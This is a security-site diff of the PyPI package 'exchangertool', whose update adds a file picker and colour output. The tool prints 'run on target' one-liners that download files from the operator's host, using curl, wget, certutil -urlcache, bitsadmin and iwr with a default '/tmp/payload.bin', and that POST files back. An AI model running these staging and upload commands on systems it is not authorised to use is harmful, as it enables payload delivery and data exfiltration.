You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

exchangertool

Package Overview
Dependencies
Maintainers
1
Versions
4
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

exchangertool - pypi Package Compare versions

Comparing version
0.1.2
to
0.1.3
+26
-5
exchanger/http_.py

@@ -100,2 +100,4 @@ """HTTP server and client for file exchange."""

show_bar = size >= _MIN_SIZE_FOR_PROGRESS and sys.stderr.isatty()
request_path_normalized = path.strip("/") or path
serve_path = getattr(self.server, "serve_path", None)
with _PROGRESS_LOCK:

@@ -118,2 +120,4 @@ with open(local, "rb") as f:

pbar.update(len(chunk))
if serve_path is not None and request_path_normalized == serve_path:
self.server.shutdown()

@@ -234,2 +238,3 @@ def do_POST(self):

server = http.server.HTTPServer((args.bind, args.port), handler)
server.serve_path = None
if args.port == 443:

@@ -248,9 +253,25 @@ try:

if receive_only:
print(f"exchanger: listening to receive (target POSTs to you) on {args.bind}:{args.port}")
from .net_ import print_commands_receive_listen
from .net_ import BOLD, GREEN, RESET, print_commands_receive_listen
if sys.stderr.isatty():
print(f"{GREEN}{BOLD}🔄 exchanger: listening to receive (target POSTs to you) on {args.bind}:{args.port}{RESET}", file=sys.stderr)
else:
print(f"exchanger: listening to receive (target POSTs to you) on {args.bind}:{args.port}", file=sys.stderr)
print_commands_receive_listen(args.port, getattr(args, "protocol", "http"))
else:
print(f"exchanger: serving {dir_abs} on {args.bind}:{args.port} (protocol http)")
from .net_ import print_commands_serve
print_commands_serve(args.port, getattr(args, "protocol", "http"))
from .net_ import BOLD, GREEN, RESET, get_serve_base, print_commands_serve, pick_file_to_serve
if sys.stderr.isatty():
print(f"{GREEN}{BOLD}🔄 exchanger: serving {dir_abs} on {args.bind}:{args.port} (http){RESET}", file=sys.stderr)
else:
print(f"exchanger: serving {dir_abs} on {args.bind}:{args.port} (protocol http)", file=sys.stderr)
base, platform = get_serve_base(args.port, getattr(args, "protocol", "http"))
serve_path = pick_file_to_serve(dir_abs)
if base is not None:
print_commands_serve(
args.port,
getattr(args, "protocol", "http"),
serve_path=serve_path,
_base=base,
_platform=platform,
)
server.serve_path = serve_path
stop = threading.Event()

@@ -257,0 +278,0 @@ spinner = threading.Thread(target=_spinner_loop, args=(stop,), daemon=True)

+102
-43
"""Local IP detection and interface picker."""
import os
import re

@@ -8,3 +9,16 @@ import subprocess

# ANSI colors (only used when stderr is a tty)
def _c(code: str) -> str:
return code if sys.stderr.isatty() else ""
BOLD = _c("\033[1m")
DIM = _c("\033[2m")
CYAN = _c("\033[36m")
GREEN = _c("\033[32m")
YELLOW = _c("\033[33m")
BLUE = _c("\033[34m")
RESET = _c("\033[0m")
def get_all_interfaces() -> list[tuple[str, str]]:

@@ -38,5 +52,6 @@ """Return list of (interface_name, ipv4) excluding lo."""

p = subprocess.run(
["fzf", "--height", "10", "-1"],
["fzf", "--height", "10", "-1", "--prompt", "interface: "],
input="\n".join(lines),
capture_output=True,
stdout=subprocess.PIPE,
stderr=None,
text=True,

@@ -85,3 +100,4 @@ timeout=30,

input="\n".join(lines),
capture_output=True,
stdout=subprocess.PIPE,
stderr=None,
text=True,

@@ -120,3 +136,2 @@ timeout=30,

return get_local_ip()
sys.stderr.write("\n select interface (for command box):\n")
return _pick_interface_fzf(choices) or _pick_interface_menu(choices)

@@ -147,2 +162,13 @@

def get_serve_base(port: int, protocol: str = "http") -> tuple[str | None, str | None]:
"""Run platform and interface pickers; return (base_url, platform) or (None, None). No output."""
platform = pick_platform()
my_ip = pick_interface()
if not my_ip:
my_ip = get_local_ip()
if not my_ip or protocol != "http":
return (None, None)
return (_base_url(my_ip, port), platform)
def _target_receive_linux(base: str, path: str = "/path/to/file", out: str = "/tmp/payload.bin") -> str:

@@ -157,5 +183,9 @@ p = urlparse(base)

url = f"{base}{path}"
iwr = f'iwr -Uri "{url}" -OutFile "{out}"'
bits = f'bitsadmin /transfer job /download /priority high "{url}" "{out}"'
return f"curl -o {out} {url}\ncertutil -urlcache -split -f {url} {out}\n{iwr}\n{bits}"
return (
f"curl -o {out} {url}\n"
f"wget -O {out} {url}\n"
f"certutil -urlcache -split -f {url} {out}\n"
f'iwr -Uri "{url}" -OutFile "{out}"\n'
f'bitsadmin /transfer job /download /priority high "{url}" "{out}"'
)

@@ -171,38 +201,72 @@

_WIDTH = 56
def pick_file_to_serve(dir_abs: str) -> str | None:
"""Fuzzy-pick a file under dir_abs; return relative path or None."""
files: list[str] = []
for root, _dirs, names in os.walk(dir_abs):
rel_root = os.path.relpath(root, dir_abs)
if rel_root == ".":
rel_root = ""
for name in names:
path = os.path.join(rel_root, name) if rel_root else name
files.append(path)
if not files:
return None
try:
p = subprocess.run(
["fzf", "--height", "15", "-1", "--prompt", "file to serve: "],
input="\n".join(sorted(files)),
stdout=subprocess.PIPE,
stderr=None,
text=True,
timeout=60,
cwd=dir_abs,
)
if p.returncode != 0 or not p.stdout.strip():
return None
return p.stdout.strip()
except (FileNotFoundError, subprocess.TimeoutExpired):
return None
def _box_line(text: str) -> str:
return " | " + text.ljust(_WIDTH) + " |\n"
def _section(title: str, lines: list[str]) -> str:
out = ["", f" {title}", " " + "-" * (len(title) + 2)]
def _write_section(title: str, emoji: str, lines: list[str]) -> None:
sys.stderr.write(f"\n {YELLOW}{BOLD}{emoji} {title}{RESET}\n")
for line in lines:
out.append(f" {line}")
return "\n".join(out) + "\n"
sys.stderr.write(f" {CYAN}{line}{RESET}\n")
def print_commands_serve(port: int, protocol: str = "http") -> None:
"""Print copy-paste commands for target (curl/wget/certutil/iwr/bitsadmin) when we are serving."""
platform = pick_platform()
my_ip = pick_interface()
if not my_ip or protocol != "http":
return
base = _base_url(my_ip, port)
sys.stderr.write("\n")
sys.stderr.write(" +" + "-" * (_WIDTH + 4) + "+\n")
sys.stderr.write(_box_line("run on target (copy-paste)"))
sys.stderr.write(" +" + "-" * (_WIDTH + 4) + "+\n")
def print_commands_serve(
port: int,
protocol: str = "http",
serve_path: str | None = None,
_base: str | None = None,
_platform: str | None = None,
) -> tuple[str | None, str | None]:
"""Print copy-paste commands for target. Call with _base and _platform from get_serve_base()."""
if _base is None or _platform is None:
return (None, None)
base = _base
platform = _platform
url_path = ("/" + serve_path) if serve_path else "/path/to/file"
path_display = serve_path if serve_path else "path/to/file"
name_display = path_display.split("/")[-1] if path_display else "file"
out_linux = f"/tmp/{name_display}"
out_win = name_display
send_path = "path/to/file"
send_name = "path/to/file"
sys.stderr.write(f"\n {BOLD}📋 Run on target (copy-paste):{RESET}\n")
if serve_path:
sys.stderr.write(f" {DIM}📁 {path_display} — server exits after download{RESET}\n")
if platform in (None, "linux"):
recv_linux = _target_receive_linux(base).split("\n")
send_linux = _target_send_linux(base).split("\n")
sys.stderr.write(_section("linux: receive from you", recv_linux))
sys.stderr.write(_section("linux: send to you", send_linux))
recv_lines = _target_receive_linux(base, path=url_path, out=out_linux).strip().split("\n")
send_lines = [_target_send_linux(base, path=f"./{send_path}", name=send_name)]
_write_section("Linux — receive (curl, wget, bash)", "🐧 ⬇️", recv_lines)
_write_section("Linux — send", "🐧 ⬆️", send_lines)
if platform in (None, "windows"):
recv_win = _target_receive_win(base).split("\n")
send_win = _target_send_win(base).split("\n")
sys.stderr.write(_section("windows: receive from you", recv_win))
sys.stderr.write(_section("windows: send to you", send_win))
recv_lines = _target_receive_win(base, path=url_path, out=out_win).strip().split("\n")
send_lines = [_target_send_win(base, path=send_path, name=send_name)]
_write_section("Windows — receive (curl, wget, certutil, iwr, bitsadmin)", "🪟 ⬇️", recv_lines)
_write_section("Windows — send", "🪟 ⬆️", send_lines)
sys.stderr.write("\n")
sys.stderr.flush()
return (base, platform)

@@ -217,12 +281,7 @@

base = _base_url(my_ip, port)
sys.stderr.write("\n")
sys.stderr.write(" +" + "-" * (_WIDTH + 4) + "+\n")
sys.stderr.write(_box_line("run on target (POST file to you)"))
sys.stderr.write(" +" + "-" * (_WIDTH + 4) + "+\n")
sys.stderr.write(f"\n {BOLD}📋 Run on target (POST file to you):{RESET}\n")
if platform in (None, "linux"):
send_linux = _target_send_linux(base).split("\n")
sys.stderr.write(_section("linux", send_linux))
_write_section("Linux — send", "🐧 ⬆️", [_target_send_linux(base)])
if platform in (None, "windows"):
send_win = _target_send_win(base).split("\n")
sys.stderr.write(_section("windows", send_win))
_write_section("Windows — send", "🪟 ⬆️", [_target_send_win(base)])
sys.stderr.write("\n")
Metadata-Version: 2.4
Name: exchangertool
Version: 0.1.2
Version: 0.1.3
Summary: Minimal CLI to send or receive files over HTTP or SMB.

@@ -5,0 +5,0 @@ License-Expression: MIT

Metadata-Version: 2.4
Name: exchangertool
Version: 0.1.2
Version: 0.1.3
Summary: Minimal CLI to send or receive files over HTTP or SMB.

@@ -5,0 +5,0 @@ License-Expression: MIT

@@ -7,3 +7,3 @@ [build-system]

name = "exchangertool"
version = "0.1.2"
version = "0.1.3"
description = "Minimal CLI to send or receive files over HTTP or SMB."

@@ -10,0 +10,0 @@ readme = "README.md"